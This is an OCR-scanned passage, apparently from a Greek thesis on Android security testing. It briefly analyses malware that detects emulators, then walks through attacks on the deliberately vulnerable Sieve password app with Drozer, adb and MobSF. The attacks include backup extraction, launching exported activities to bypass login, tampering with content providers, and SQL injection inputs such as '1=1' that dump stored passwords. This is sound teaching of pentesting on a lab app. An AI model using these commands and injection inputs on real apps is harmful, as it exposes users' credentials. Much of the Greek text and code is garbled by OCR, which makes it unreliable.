android emulator (Eiova 166), va amotpEYPeL TNV CUUNIEPLPOPLKI) TOU aVAAUGCH o€ €va
ouTtopatomnolnuévo eptBaiAov (Ewdva 165). Mo avaAUTIKA, YivETal EAeyXOG YL TOV Qv
n TN tou IMEI looutal pe “000000000000000”, av o0 TNAEDWVIKOG apLlOUOG EXEL WG

npwta Pnodia tnv akoAoubia “1555521” kabBwg kat av To Siktuo ovopaletal “Android”.

protectced void onCreate(Bundle paramBundle)

{

super.onCreate(paramBundle) ;
try
{
this.jdField a of type Dc = dc.a(getApplicationContext()):
Cbject localCbjectl = PreferenceManager.getDefaultSharedPreferences(getApplicationContext())

Object localObjectZ = ((IelephonylManager)gecSystemservice ("pn e")) .getbeviceld() !
ir (getResources() .getString( ) .equals("1i"))
if (!'((5tring)locallbject2).eguals("00000000000000C"))
{
locallbjectS = (TelephonyManager)getSyscenService("chone") ;
locallbject2 — ((TelephonyManager)localObjectS) .getlinelNumbex (}
if ((locallbject2 != null) L& (!((String)locallbjectc2).toString().trim() .isEmpty()))
break 1abel2507:
locallOkject2 = ((TelephonyManager)localObjects) .getSubscriberId()
if ((!((S5tring)localCbject?2) .startsWith("2555521")) && ('c() .equals("Android"))

Ewkova 165 - EAeyxog yia autouatonolnuevo nept8aiiov

HW feat'll.re”Default value

IMEI}|000000000000000
IMST||012345678912345
SIM||012345678912345
Phone Number||1-555-521-PORT (5554)
Model Number||sdk
Network||Android
Battery Status||AC on Charging 50%
IP Address|{10.0.2.X

Ewkova 166 - Default hardware configuration for Android emulator

MNa va KaAuYeL tnv mapoucia g, N kKakOoBouAn epapuoyn KatapeUyeL O olyoon Twv
eldonoljoswyv tou TNAedpwvou (Ekdva 167), AMOTPEMOVTOG TO XPNOTN Ao TNV aKpoaon
TOU AXOU TWV ELOEPXOUEVWV/EEEPXOUEVWV SMS Kal TWV TNAEPWVLKWV KACEWV

(Alarm.class — class isSMSServThread).

I [ {NotificationManager)this.context.getSystemService("notification")).cancelAll(); I

Ewkéva 167 - Ziyaon elSomotioswv
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4. Security Testing for Mobile Applications

4.1 Testing Lab/Tools

Drozer: To Drozer eival €va akopa epyadeio amd tn ouAlloyrp tou Santoku mou
XPNOLUOTIOLELTAL YL TNV afloAdynon Tou emunédou TnG aodaielag pag ebpapuoyng Android.
Me tn BonBeLd Tou Suvatal va avixveuBouv mBavég euntabeleg pLag edappoynG EVw TAPEXEL
Kal Tl OAOKANpWUEVN €lkOVA OXETIKA We To attack surface kaBe edappoyng ywa to
Aettoupykd ovotnua Android. To Drozer &laBétel €éva oUVOAO XAPAKTNPLOTIKWY TIOU
ETUTPETEL OTOUG testers va eKTeEAOUV TTOAU AETTOMEPN avAAuon TG ebapuoynG. AmoteAeital
aro SUo Baolkad oTolxEla, TNV KUPLwG KOVOOAX PECW TNG omoiag divovtal ol EVTIOAEC KOl TOV
drozer agent -pia epappoyn Android (apk apxeio) mou ekteAel Tig evtoAég mou Sivovtatl anod
TNV KovoOAa. AutO onuaivel OTL OAEC OL TIPOCOUOLWOELG EMIOECEWV €VAVTIOV TNG
avaAuopevng epappoyng EKTEAOUVTAL OO TO TTAALOLO HLag EPOPUOYI G EYKATECTNUEVNG OTNV
i6la ouokeun. Ita moAU Betikd tou Drozer eival OtL dev xpeldletal n CUCKEUN va ival

“rooting”. Ta tnv opBn xprion Tou Drozer MpEMeL va yivouv Ta TapakATw Brpota:

e Apxwka eykaBlotoupe péow tou adb tov drozer agent (Ewkdva 168) 0Tn CUOKEUN HAC
e EkteAoUUE TNV edpapuoyr tou Agent otn cuokeun (Ewdva 169)
® ZeKWAME TNV KovooAla tou Drozer oto Santoku (Ewkdva 170). ATO kel OTEAVOUUE OAEG TIG

EVTOAEG HEOW TWV omolwv Ba eAéyfou e TNV aoPpAAeln TTWV EPapUOYwWV.

santoku@santoku-virtual-machine:~$ adb install drozeragent.apk
697 KB/s (633111 bytes in ©.886s)

Success

santoku@santoku-virtual-machine:~s |

Ewkova 168 - Eykataotaon tou Drozer Agent ot oUOKeU)

drozer

Ewkova 169 - Ekkivnon tou Drozer Agent
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sandprotec
esisandprotectorandroidsn

andprotector droidsnemes

, Adsnem
i snemis

Ewkova 170 - H kovaOAa tou Drozer

Android Debug Bridge (adb): To Android Debug Bridge (adb) eivat éva command line
EPYAAELO TIOU ETUTPEMEL TNV ETUKOWVWVIA PE pa ocuokeur). H evtoAn adb umootnpilel pa
MANOBWPA  EVEPYELWV OTN OUOCKEUN, OMWC EYKATAOTOON £PAPUOYWV KAl EVTOTILOUOG
odalpatwv epappoywv, avolypa shell yia tnv mpoomélaon apxeiwv €vtog TNG CUCKEUNG

KATT.

Android Backup Extractor: Bonbntikd epyaA&io ou XpnoLUOTIOLELTOL YLa VO KAVEL extract Kall
repack ta apyeia .ab mou dnuioupyouvtal pe to adb backup. Adou yivel n Anqn tou extractor
(abe.jar apyxelo) kal MPOKeWWEVOU va AELTOUPYNOEL OWOTA TO epyaleio Ba mpeénel To apxeio

abe.jar va Bpiloketat oto 610 path pe to backup apyeio mou emBUUOUE VO TPOTIOTIOL|GOULIE.

Mobile Security Framework (MobSF): To Mobile Security Framework (MobSF) sivat pla
OUTOHOTOTIOLNUEVN EPAPLOYH TIOU XPNOLUOTIOLELTAL YL TN avaAuon KaKOBouAou AoyLopikoU
KaLtnv aflohoynon tng aodpalelag epappoywv Android/iOS/Windows. Eivat ikavo va ektelel

OTATIKI KoL SUVALKN OVAAUCT TwV SELYUATWV.

4.2 Performing security tests

Ze autnVv TNV evotnta Ba avaAuoou e, e TV BonBela Twv mapandvw epyaieiwy, pa
epappoyn n omoia £xel avantuxbel yla Adyoucg testing Kol eUEPLEXEL OKOTIHWG EVAAWTO
onueia, mapabETovtag TOCO TOV TPOTIO LLE TOV OTIOL0 0 EMITIOEUEVOC UIMOPEL va EKOETEL QUTEC
TIC €UMADOELEC, OCO KOl KATOLEG TIPOTACELC YlA TO TWE QUTEC Ol aduvapiec pmopouv va
e€aleldpBolv. Itn ouokeun) Hag Aowmdv, yla va TPOYUOTOTIOW)COUUE TO Ssecurity test

EYKATOOTHOOUE MO EVAAWTN edappoyn, SLaXePLOT KWAKWY, HE To ovoua Sieve (Ewdva
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171). H edappoyn Asttoupyel pe tov €€nc TPOMO: KATA TNV €KKivnorn NG amaltel and tov
XPNOTN TNV €l0aywyn €vog kwdikou mpooPaong (Ewdva 172) kot €vog PIN, ta omola kot
TipooTATEVOUV TNV edapuoyn. O KUPLOG KWELKOG XPNOLUOTIOLELTAL KOl 0TV KpuTttoypadnon

TwV SLopopwv Kwdkwv pdoBaacng ou anobnkeVeL o Xpriotng otnv edpapuoyn.

Sieve

Ewova 171 - sieve.apk

AA Sieve

Signin

Ewkova 172 - Eloaywyn kwbikoU yia EekAeSwa TNG EQapUoync
Edooov eloaxBel 0 ocwotodg KWOLKOG UMopoUUE va €XOUUE MpOoPacn o€ OAEC TIC

mAnpodopieg mou €xoupe anobnkevoel (Etkova 173).

S ™

A& Your Passwords

Bank

bank_username

website_credentials

mycredentials

Ewkova 173 - Yapyouoeg EKYwpnoeLg
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Vulnerability report 1: Plaintext SQLite database

Kavovtag otatikr avaAucon otov mnyaio kwdka TnG epapUoyng Le TN xprion Tou epyaleiou

MobSF evtoniloupue to apxeio PWDBHelper.java kat BAEnoupe OTL N edappoyn XpNoLUoToLeL

pla SQLite database pe to 6ovopa “database.db”. (Eikova 174)

public class PWDBHelper extends SQLiteOpenHelper {
public static final String DATABASE_NAME = "database.db";
public static final int DATABASE_VERSION 1;

Lr

public PWDBHelper(Context context) {
super(context, DATABASE_NAME, (SQLiteDatabase.CursorFactory) null, 1),

Ewova 174 - database.db

210 Android, 6Aeg oL epappoyEg anobnkevouv TG pubuioelg Toug, Tn Pacn SeSouévwy K.ATL.

otov kataloyo "/data/data/<package_name>/". MropoUpe Aoutdv eUKOAX VAL OVAKT ) COU UE

™ PBaon Sedopévwyv amd TN CUOKEUN HAG Xpnolpomowwviag tnv evioAry ADB "pull" pue

Sikawwpata root kat tn Stadpoun apxeiou yia to apxeio Baong dedopévwy (Ewkdva 175).

Ewova 175 - Avaktnon apyeiov Baong dedouévwy Exovrag Sikatwuata root

Itn ouvéxela, pe T PonbBelta tou SQLlite database browser avaktoUpe TA  pn

KpuTttoypadnuéva Teplexopeva tng Paong dedopévwy Onmwe daivetal OTIC TAPAKATW

€KOVEG (Ewova 176, Ewkova 177):

=
File

DBE° gggne O W

Database Structure | Browse Data | Execute SQL

Name Object | Type Schema

f--android_metadata table CREATE TABLE android_metadata (locale TEXT)

+-Passwords table CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEX...
f--Key table CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT)

~-sqlite_autoindex_Key_1 index

SQLite Database Browser - fhome/santoku/data.db - + x
View Help

Ewkova 176 - SQLite database browser
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= SQLite Database Browser - fhome/santoku/data.db - + x
File Edit View Help
DEEe s o ?

Database Structure | Browse Data Execute SQL

Table: Passwords N i New Record | Delete Record
id service username password email
1 1|Bank [bank_username |99 € 9% /99 €959, €4 mybank@email.com |
2 2|website_credentials  |mycredentials  |#9 9+ €59 @(JZ@9#109" ¥ {example@test.com |

Ewkova 177 - Mn kpurnttoypapnuéva debougva tne Baong Sedouévwv

Elpaote og B€on va paboupe 1600 TN dopn tng BAong (TL mivakeg mepLEXOVTaL OE AUTAV Kal
TL 0TAAEG UTIAPXOUV o€ KAOE Ttivaka - Edva 176) 600 KAl KATTOLA Ao To TIEPLEXOUEVA TNG (Tal

debopéva SnAadr) mou elodyeL 0 xprnotng otnv epapuoyn - Ewova 177).

Mia KaAr TTPAKTLKN Ttou pmopel va edpappootel eival n xprion tng BLBAL0Bnkng SQLCipher £tol
WOoTE va YIlvetal n Kkpunmtoypadnon, e T xprion Kwdikou, tng Baong dedopévwy SQLite. O
KWOLKOC TIOU XpnoLUOTOLETOL Yl TNV Kpumrtoypddnon Ba mpemel va amobnkeveTal UE
aodaln TPOMO oTo cuoTnUa apxelwv NG edbappoyng kat va punv opiletat hardcoded otov

ninyaio Kwdika tnc.

Vulnerability report 2: Enabled Application Backup
MeAetwvtag to apxeio manifest tng edpoapuoyng sieve pe tn Ponbeia tou MobSF

TIAPOTNPOULE OTL TO attribute android: allowBackup €xel oplotel wg true (Ewdva 178).

AndroidManifest.xml

2ading of the Ke "com.mwr .example. sieve.READ_KEYS" "dangerous"

jiting of the Key in Sieve" "com.mwr .example.sieve.WRITE_KEYS"

AppTheme" "@string/app_name" "@drawable/ic_launcher"”

Ewova 178 - allowBackup = "true"

MaAlota to MobSF emionpaivel To GUYKEKPLUEVO EUPNUA OTO section Tou yivetal n avaAuon

Tou manifest apxeiou kat to afloloyel wg medium severity. (Ewdva 179)
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ISSUE SEVERITY DESCRIPTION

Application Data can be Backed up medium This flag allows anyone to backup your application data via adb. It allows users who have enabled USB debugging to
[android:allowBackup=true] copy application data off of the device,

Ewkova 179 - Avagopa tou MobSF oto allowBackup attribute

‘Exovtag wg 6eSouévo To apamavw Kal Pe T xpron tng evtoAng adb backup dnuoupyolpe

otnv emupavela epyaciag to apxeio mySieveBackup.ab (Eltkéva 180).

A
File Edit Tabs Help

Ewkova 180 - Anutoupyia backup yia tnv epapuoyn sieve

Emetta, pe tn PonBela tou epyaleiov android backup extractor kdvoupe unpack to backup
opXEl0 HOG KOL TO LETATPEMOUUE O€ .tar apxeio. Teleutaio Bripa amoteAel To va yivel untar

TO apXElo £TOL WOTE VA ATIOKT|COUE TIpOoPBacn ota nmeplexopeva tou (Ewkova 181).

mySieveBacku
p.ab

£
T
abe.jar

mySie%cku
& -

Ewova 181 - Unpack the backup file

Kowtalovtag ta avtiypada aocdaleiag twv apxeiwv, BAémoupe tn Pdon Sedopévwv
"database.db" n omoia dev eival kpuntoypadnuévn kot pmopet va dtafaotel (Ewdva 182),

OTIWG Kall Ta UTTOAoUTaL apXELa TNG EPapuoyng, AKOUN Kal Xwpi¢ Sikawwpata root (og avtiBeon
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HE OTL GUVEPBN otnV mponyouuevn nepimtwaon), adou n dSnuwoupyia avilypadwv aopadsiog

Sev amattel TéTola SikowpaTA.

backup-extractor-2018052... X | db X

& sQLite Database Browser - fhome/sa....mwr.example.sieve/db/database.db - + x
File Edit Wiew Help

database.db |: D Bj (9] % ﬁ ﬁ D:| Df lg?

Database Structure | Browse Data = Execute SQL

Mame Object | Type Schema

#-android_metadata table CREATE TABLE android_metadata (lo...
+ Passwords table CREATE TABLE Passwords (_id INTEG...
#-Key table CREATE TABLE Key (Password TEXT P...

-sglite_autoindex_Key 1 index

Ewova 182 - MpooBaon otn Baon deboucvwy puéow tou backup kot xwpic va amattouvral SIKALWUATA root

Yuvoyilovtag, To attribute android:allowBackup kaBopileL edv pia epappoyr Umopel va yivel
backup amd évav xpriotn mou £XEL EVEPYOTIOLCEL TOV EVIOTIOUO odalpdtwy usb. Eav to
attribute autod £xel oplotel wg aAnBEc, emtpenel o évav emtiBépevo va AdPeL To avtiypado
aodaleiag twv dedopévwy tng edpapuoyns LEow tou adb, akOuUN Kal av n cUoKeun Sev £xeL
yivel root. Emopévwg, ol edappoyeég mou xelpilovtal kal amoBnkevouv eguaiobnteg

TIANPOdOopPLeG TIPEMEL VA €XOUV QUTAV TN pUBULON KaBoplopévn w false oto apyxeio manifest.

Vulnerability report 3: Insecure activities

ITtn  Ouvéxew, Me tn Ponbswa tou  drozer  ektEAécOUE TNV EVIOAN
run.app.package.attacksurface yla va Bpoupe to attack surface (Eikova 183). MpokeLtal ylo
pLa Wlaitepa xpriowun mAnpodopia mov AapBavoupe pEow tou drozer Ko OXETETAL PE T

onueia ota omoia kamolog kakdBouAog xprotng duvatal va emitebeL.

com.mwr.example.sieve

ack Surf
ctiv
ported
~ted

Ewkova 183 - sieve.apk attack surface

Emyelprioape va ekueTaAAeuToU UE TNV TTANpodopia tou e€nxOn mponyouLEVWE 0TLAlOVTAG
ota exported activities kat otig mBavéc mapamndvw TANPodopie¢ TMOU HUMOPOUUE va

OVOKT|OOUME OO auTtd. ApXIKA, UE TNV €KTEAECN TNCG €VTOANG run app.activity.info —a
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<package_name> -u mrjpape tn Aiota pe ta exported kot ta hidden activities tng epappoyng
(Ewkova 184). Elval avapevopevo to main activity plag ebpappoyng va yivetal exported €tot

WOTE QUTH VA UIOPEL va EEKLVAOEL OTAV YIVEL KALK 0TO £LKOVISLO TNC.

dz> run app.activity.info -a com.mwr.example.sieve -u
Package: com.mwr.example.sieve
Exported Activiti ~
com.mw ple ave.FileSelectActivity
com.m np ainLoginActivity
com.mw ble ieve.PWList

idden A

com.mw ‘<lile ieve.SettingsActivity
com.mw 3 sieve.AddEntryActivity
com.mwr. ShortLoginActivity
com.mw =3 elcomeActivity
com.mwr .example ieve.PINActivity

Ewova 184 - sieve.apk exported activities

H Alota Oopwg meplappavel kot Siadopa aAla, “evéladépovia” activities, onmwg to

com.mwr.example.sieve.PWList, To 0moio Kol EMIXELPOULE VA EKKIVI|OOULE.

ExteAéoape tnv €vioAn run app.activity.start --component com.mwr.example.sieve
com.mwr.example.sieve.PWList (Ewova 185) kal katadEépape va EeKvoOUUE To activity
XWPLG va TpEXOUUE TNV edpapuoyr. To ANMOTEAECUA TAV VO ATTOKTHOOUE TIPOCRacn 0 OAoUG
TOUC amoBnKeUPEVOUC AOYyOpLACHOUG TTAPAKAUMTOVTAC TOV KWOLKO TNG edappoync (Etkova

186).

Bank

bank_use

website_credentials

mycredentials

Ewkova 186 - eupavion tou activity otn ouokeun
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AtileL va onUEeLWBEL TWE TN CUYKEKPLUEVN EUTIABOELD TTOU TNV KAvaue exploit péow tou drozer,
UMOPOULE VA TNV EVIOMIOOUUE UEOW Tou manifest apxelou oto MobSF (Ewkéva 187) kat
HaAlota to epyaleio aglohoyel wg high tov kivduvo Tou TPOKUTITEL QMO TOV OPLOUO TOU

attribute android:exported wg true. (Ewkova 188)

I«'actiuity "@string/title_activity_pwlist" ElalelgoRReRRateliT=Ectum =0 M K=3 iUy ls Dok Ko B=D'{s [o] g f-To B A V-0

Ewova 187 - PWList exported activity

Activity (.PWList) is not [ high | An Activity is found to be shared with other apps on the device
Protected. therefore leaving it accessible to any other application on the
[android:exported=true] device.

Ewkova 188 - Etbormtoinon tou MobSF

Mia KA TTPAKTLKNA TIOU TIPEMEL va epapUOleTal yia activities mou oxetilovrtal pe evaiodnteg
mAnpodopieg eival va opiletal to attribute android:exported wg false oto apyxeio manifest

£€T0L WOTE vVa KNV €lval mpooBAciues and AAAEG epapLOYEG TNG CUOKEUNG.

Ooov adopa ta hidden activities, autd pmopolV va EEKvrioouv amo évav Xprnotn Mou €XEL
privileged access otn cuokeun Kal EMOUEVWG N dladikaaoia mou Ba akoAouBricoupe Ba sival
Slagopetikl amod tnv mponyoUuevn. QoToco, TOPABETOUUE TA QMOTEAECUATA TIOU
T(POKUTITOUV OTNV MpooTtdBeld pag va ekklvjoooupe €va hidden activity, to SettingsActivity,
Héow tou drozer (Ewova 189). Eotialoupe oto SettingsActivity mou adopd tnv mpdoBoon oTig
puBuioelg tnG epappoyng KoL avapeoa oTig EMLAOYEG Ttou Sivel eival kat n dnuloupyia backup

otnv SD card.

Ewkova 189 - poonadeia ekkivnong evoc hidden activity uéow tou drozer

Xpnowuornowwvtag to adb command epyalsio, avolyoupe €va root shell kat k@vou e ekkivnon

Tou ev Adyw activity (Ewkova 190).
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Ewova 190 - adb command

ATOKTOUUE £TOL TPpOoBacn otig pubuioelg TnG edpappoyns (Ewdva 191) avapeoa OTLG OTOLEG
kal to backup otnv SD card. Auto e Tn OELPA TOU £XEL WG ATIOTEAECHA TNV TPOCPAOH HaG OE
evaioBbnteg mMAnpodopieg mou eivat anodnkeupéveg otn Baon Sedopévwy tng epapuoyng

(Ewkdva 192).

@

A Settings

Change Pin

Delete Passwords
Backup to SD card
Backup to Net
Restore from SD card

Restore from Net

Ewova 191 - Ekkivnon tou SettingsActivity

Confirm

This will save the database to
the SD card

Cancel

Ewova 192 - backup to SD card
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Vulnerability report 4: Exploiting Content Providers

OL content providers XpnoLLOTOLOUVTAL TIPOKELUEVOL pLa edappoyn va polpaletal, Kol o
OPLOUEVEG TIEPUTTWOELG VO ETILTPETEL KAL TNV TPOTOMOINoN Twv Se60UEVWY TNG amd AAAEG
edappoyEg, katomw attipatog. Ta dedopéva amobnkevovtal ite o€ pa Baon dedopévwy,
elte og apyela R akopa Kat oto SIKTVO. € aUTO To onueilo Aowndv eotldloupe oToug content
providers kal mapouclaloupe apxkd To we opilovtal eviog tou manifest apyeiou (Ewova

193).

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true"
android:authorities="com.mwr.example.sieve. DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve. READ KEYS"
android:writePermission="com . mwr.example.sieve. WRITE KEYS" android:path="/Keys"/>
</provider>
<provider android:name=".FileBackupProvider" android:exported="true" android:multiprocess="true"
android:authorities="com.mwr.example.sieve.FileBackupProvider"/>

Ewkéva 193 - Oplouoc twv content provider

ITn OUVEXela, KoL HE Ttn PonbBesiwa tou drozer ekTeAOUME KoL TAAL TNV EVIOAN
run.app.package.attacksurface yiwa va enavaetacoupe to attack surface (Ewdva 183).
Mapatnpoupe OtTL umdpxouv 2 exported content providers (Ewoéva 194). Avapevouevo,
€xovtag umoyP v kat to manifest mou e€eTAcOUE MAPATIAVW KOL TTOPATNPCOUE OTL KAL OTLG

600 MEPUTTWOELC TO XapaKTNPLoTkO android:exported ftav oplopévo wg aAnBEq.

e.FileBackupP

Ewoéva 194 - MAnpogopisc mou eéayovtal yia Toug content providers péow tou drozer
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To mapamnavw gvpnua, To onoio emonpaivel kat to MobSF (Ewdva 195), amokaAUTTEL OTL oL
S0Uo content providers dgv amattovv Sikalwpata avayvwonc/eyypadng yla xproTteg mou
B€Aouv va StaBacouv ) va ypaouv o autols. Movo o DBContentProvider amattel ano toug
XPNOTEG VA £XOUV SLKOULWUATA OVAYVWONE Kot eyypadng otn Stadpoun /Keys —auto daivetal
1000 amnod to manifest apyeio (Ewdva 193) 600 Kot amd TO AMOTEAECHATA TNG EKTEAECNC TOU

module app.provider.info (Ewéva 194).

Content Provider D A Content Provider is found to be shared with other apps on the
(.DBContentProvider) is not device therefore leaving it accessible to any other application on the
Protected. device.

[android:exported=true]

Ewkova 195 - Etbomoinon tou MobSF yia touc exported content providers

Eotialovtag otov mnyaio kwdika tou DBContentProvider, mapatnpoUue tnv Umopén
“onuavtikwv” cuvaptnoswv (Ewdva 196), omwc tng insert(), delete(), update(), query() ot
omoleg umodnAwvouv kat TNV avtiotolyn arlnAenidpacn pe tn Bacn SeSouévwy Kal TLg

OToleC 0Tn ouvEéxela Ba KaAéoou e péow tou drozer.

public Uri insert(Uri in, ContentValues values)

public int delete(Uri in, String selection, String[] selectionArgs)

public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs)

public Cursor query(Uri in, String[] projection, String selection, String[] selectionArgs, String sortOrder)

Ewkova 196 - Eéstalovtac tov kwdika tou DBContentProvide

MapdAAnAa, XpnoLLOTOLOUUE To drozer Kal ekteAoUpe To module app.provider.finduri. mou
€AEYXEL YL CUUPBOAOCELPEG EVTOC TOU apxeiou DEX mou Eekvouv pe To mpodBepa content://.
H ektéAeon tou otnv epappoyn Sieve amokalumtetl ta akoAouBba URI contents (Ewdva 197).
Avdpueoa ota dAAa TPOKUTTEL Kal éva vEo path, to /Passwords yla to omoio &ev iyope

kamola mAnpodopia pe Baon ta pExpL otyung Sedopéva.
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Ewova 197 - EAeyxoc yia URIs puéow twv omoiwv Uopel v amoktoouue npoocBaon otn Baon dedouévwv

Emépevo Prua va kavoupe query ta StaBéowa URIs. MapatnpoUpe OTL auTO €XEL WG
QMOTEAECHA TNV AMOKAAUY N ONUAVTIKWY TTANpodopLwy, OMwWE Tou master password Kal Tou
pin TIOU XpNOLUOTIOLEL O XPoTNG yia va elo€EABeL otnv edpappoyn (Ewkdva 198) aAld Kal Twv
Aoyaplaopwy Tou €xouv amobnkeutel oe autrv. (Ewdva 199) Itn Seltepn mepimtwon,
TAPOTNPOUUE OTL oL Kwdlkol mpdofaong eival kwdikomolnpévol Baocel tng base6bd
Kw&lkomoinong. Qotoco HePKES GOPEC N KpuTtToypadnaon Sev xpnolpomnoleital KaBoAou Kalt

n npooBaon o€ evaiodnteg mAnpodopieg anoktatal ansubeiag.

x14Tw== (Baseb4-ent

Ewkova 199 - Query Passwords/

Xpnotgomnolwvtag TNV eVvtoAn run app.provider.insert elodyoupe éva VEEC TIUEG (Ewkova 200),
adou mAéov yvwpiloupe Ta ovOUATA TWV TIWVAKWY TNG BAoNG META TO query ToU KAVOUE

TIAPOTAVW. AUTO ETITUYXAVETAL LIE TNV TTIPOOBONKN Tou --string <table_name> <myvalue>.
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Ewova 200 - New entry

Xpnolomnowwvtag tnv evtoAn run app.provider.delete diaypadoupe ta apxka credentials
(Ewdva 201) kal mMAéov n elcodog otnv edapuoyn yivetal pe To pin kot password Tmou

elonxdnoav mponyoupévwg LECW TOU run app.provider.insert command.

ve.DBContent

Ewova 201 - Ataypapn twv credentials

Mia aképa euntdBela mou oxeTileTal e Toug content providers eival to SQL injection kabwg,
onwg avadepOnke Kal mapandvw, oL content providers ocuvnBw¢ cuvdéovtal pe SQlite
Baoelg Sedopévwy. MapakATw TAPOUCLAIOUUE €VOV OO TOUG TPOTIOUC UE TOUC OTOLloUG
UMOPOULE va avixveUOOUUE TNV eumABeLla auth PE xprion Tou epyaleiou drozer. ApxLKa,
xpnotwpgornowwvtag to module Ttou drozer auxiliary.webcontentresolver (Ewéva 202)
anelkoviloude Toug content providers OAwv twv edappoywv TNG CUCKEUNG OE €va web
interface. (Ewodva 203) e auto moapéxovral emion¢ mAnpodopiec yia to package tng
epapuoyng (6nhadn os mola epapuoyn avikel o KABe content provider) kal Ta permissions

TIOU amaltel o kKaBgvag yla va mpoomeAaodel.
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Ewkova 202 - EktéAdeon tou drozer module

drozer WebContentR: x
= C [ localhost:9999

o

drozer WebContentResolver

Package Authorities Read permission Write permission
com.android biuetooth com.android bivelooth,opp null null
Ibtopp android ion ACCESS BLUETOOTH SHARE android permission ACCESS BLUETOOTH SHARE
com android browser W com android browser permission.READ HISTORY BOOKMARKS com android browser.permission WRITE HISTORY BOOKMARKS
Ibookmarks/search suggest oery android permission.GLOBAL SEARCH null
com.android browser com.android browser home com.android browser permission READ HISTORY BOOKMARKS null

Ewkova 203 - Antetkovion oAwv Twv content providers twv e@apuoywv

Enépevo Bripa elval va ecTIa00UE O0TOUG providers tn¢ epappoyng sieve (Eikdva 204) Kal va
TIPOXWPNOOUUE otnv avixveuon Tmbavng eunabelag SQLi. MNapatnpolpe oOtL 0
DBContentProvider amattel amd Ttoug XPAOTEG va €xouv OSLKALWHATA avAyvwong Kot

gyypadng otn Stadpoun /Keys, KATL TOU EMLONUAVONKE KOL TIPONYOUUEVWG.

drozer WebContentR x

« C | [} localhost:9999/?filter=com.mwr.example.sieve

drozer WebContentResolver

Package Authorities Read permission Write permission
com.mwr.example.sieve com.mwr.example.sieve.DBContentProvider null null
[Keys com.mwr.example.sieve. READ_KEYS com.mwr.example.sieve WRITE_KEYS
com.mwr.example.sieve com.mwr.example.sieve.FileBackupProvider null null

Ewkéva 204 - E¢€taon twv Content providers tn¢ eapuoync Sieve

‘Exovtag umoyPLy ta amoteAéopata mou €RXONoav MPonyouuEVWG OXETIKA HE Ta Stabsolua
URIs (Ewdva 197) k@voupe €leyxo yia SQLi eumdBsia oto path ....DBContentProvider/Keys/,
glodyovtag wg input to oUPPBoAo “ (%27 ot ascii) otnv mapdpeTpo projection (Ewova 205).
AkolouBoupe tnv dla dtadikacia yla tnv mapdpetpo selection (Ewdva 206). Napatnpoupe
Aoudv, amnod 1o puRvupa AdBoug mou spdaviletal, otL n Baon dedopévwy eival euadAwtn o€

SQL injection emuBéoeLg.
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[} drozer WebContentR: x

- C | [ localhost:9999/query?uri=content://com.mwr.example.sieve.DBContentProvider/Keys/&projection=%27&selection=&selectionSort=

drozer WebContentResolver

unrecognized token: " FROM Key" (code 1): , while compiling: SELECT ' FROM Key

Ewkova 205 - SQLi projection

[ drozer WebContentr x

- C' | [} localhost:9999/query?uri=content://com.mwr.example.sieve.DBContentProvider/Keys/&projection=&selection=%27&selectionSort=

drozer WebContentResolver

unrecognized token: ™)" (code 1): , while compiling: SELECT * FROM Key WHERE ()

Ewkdva 206 - SQLi selection

Enépevo Brua eivat n mpoomabela avaktnong tTwv dedopévwy tng Baong. MapdAAnAa, to
unvupo AaBouc mou epdaviletal o kAOe mepimtwon pog Bonbad va KataAdBou e Tov TPOTo
LE TOV OTolo XpnOolUOTOLE(TaL KABE MOPAUETPOC OTaV YiveETal KAMOWo query otn Baon
Sebopévwy. ITnV nepinmtwon tng selection mapapétpou To query mpog t Baon eival To €N¢:
SELECT * FROM Key WHERE (<selection_parameter_value>) . Emopévwg, e Tn Xpron KLog
ouvbnkng n omoia eival mavta aAndnig (my. 1=1) sipaote oe B€on va AVOKTOOUUE T
bebopéva tou mivaka Key (Ewkova 207).

[ drozer WebContentk x

&« C | [} localhost:9999/query?uri=content://com.mwr.example.sieve.DBContentProvider/Keys/&selection="1=1"

drozer WebContentResolver

Password pin
HackedPassword 9999

Ewkova 207 - Avaktnon debougvwvy tou mivaka Key — selection
AvtioTolya, oTnV MEPLTTWON TNE projection mMapapETPOU TO query mpog T Baon eivatl to e€NG:
SELECT <projection_parameter_value> FROM Key. Emopuévwg, Le TN €loaywyn Tou cupBoAou

* elpaote o B€on va avaktioou e oAa ta dedopéva tou Ttivaka Key (Etkova 208).
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drozer WebContentkr x

€« c

[ localhost:9999/query?uri=co

drozer WebContentResolver

Password pin
HackedPassword 9999

/&projection=*

Ewkova 208 - Avaktnon debougvwy tou mivaka Key - projection

AkolouvBwvtag ta Bla BrApata katd tov €Aeyxo yia SQLi eumdBeslwa oto path

...DBContentProvider/Passwords avaktoUpe Kol TAAL OAQ TO TEPLEXOMEVA TNG BAong

Sebopévwy mou oxetilovtal Pe Toug anobnkeupévoug Aoyaplacpolc otnv edappoyn sieve
(Ewkdva 209).

drozer WebContentR x

€« = C [ localhost:9

_id service
1 Bank

3 Myaccount

username

bank_username gRyGlu7tmqwvpbRgicrYNf0O7waqiZ43J{CYcRe79H (Baseb4-encoded) mybank@email.com
2 website_credentials mycredentials

User23

n.mwr.example.sieve.DBContentProvider/Passwords/&selection="1=1"

drozer WebContentResolver

password

17D+K/U1nsdBSIq4liMfUcFez4Kuwx14Tw== (Base64-encoded)
0kNxEd3hz1sISXiGI2u/DnL8laZC9A== (Base64-encoded)

email

example@test.com
user23@test.com

Ewkova 209 - Avaktnon twv armodnkeUUEVWY AOYapLUCUWY

TeAhevtaio BAua eivat va e€etdooupde av oL content providers eivol eudAwtol o path
traversal emiBéoelg. EkteAwvtag to module tou drozer scanner.provider.traversal ywa tv

edpappuoyn sieve BAémoupe otL ev uTtApPXEL content provider eUGAWTOG O€ TETOLOU €l60UC

enBeoslg. (Ewdva 210)

Ewova 210 - EAeyyoc yia path traversal emuS€oe1g otoug content providers
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Vulnerability report 5: Enabled debug mode
MeAetwvtag to apxeio manifest tng epoapuoyng sieve pe tn Ponbsia tou MobSF
mapoatnpou e otLto android:debuggable €xel oplotel wg true emutpénovrag €totL to debugging

™G epapuoyng (Ewova 211).

<?xml version="1.0" encoding="utf-8"?>
<manifest mn "1.0" "com.mwr .example.sieve"
"http://schemas.android.com/apk/res/android">
<uses-permission "android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission "android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission "android.permission.INTERNET" />
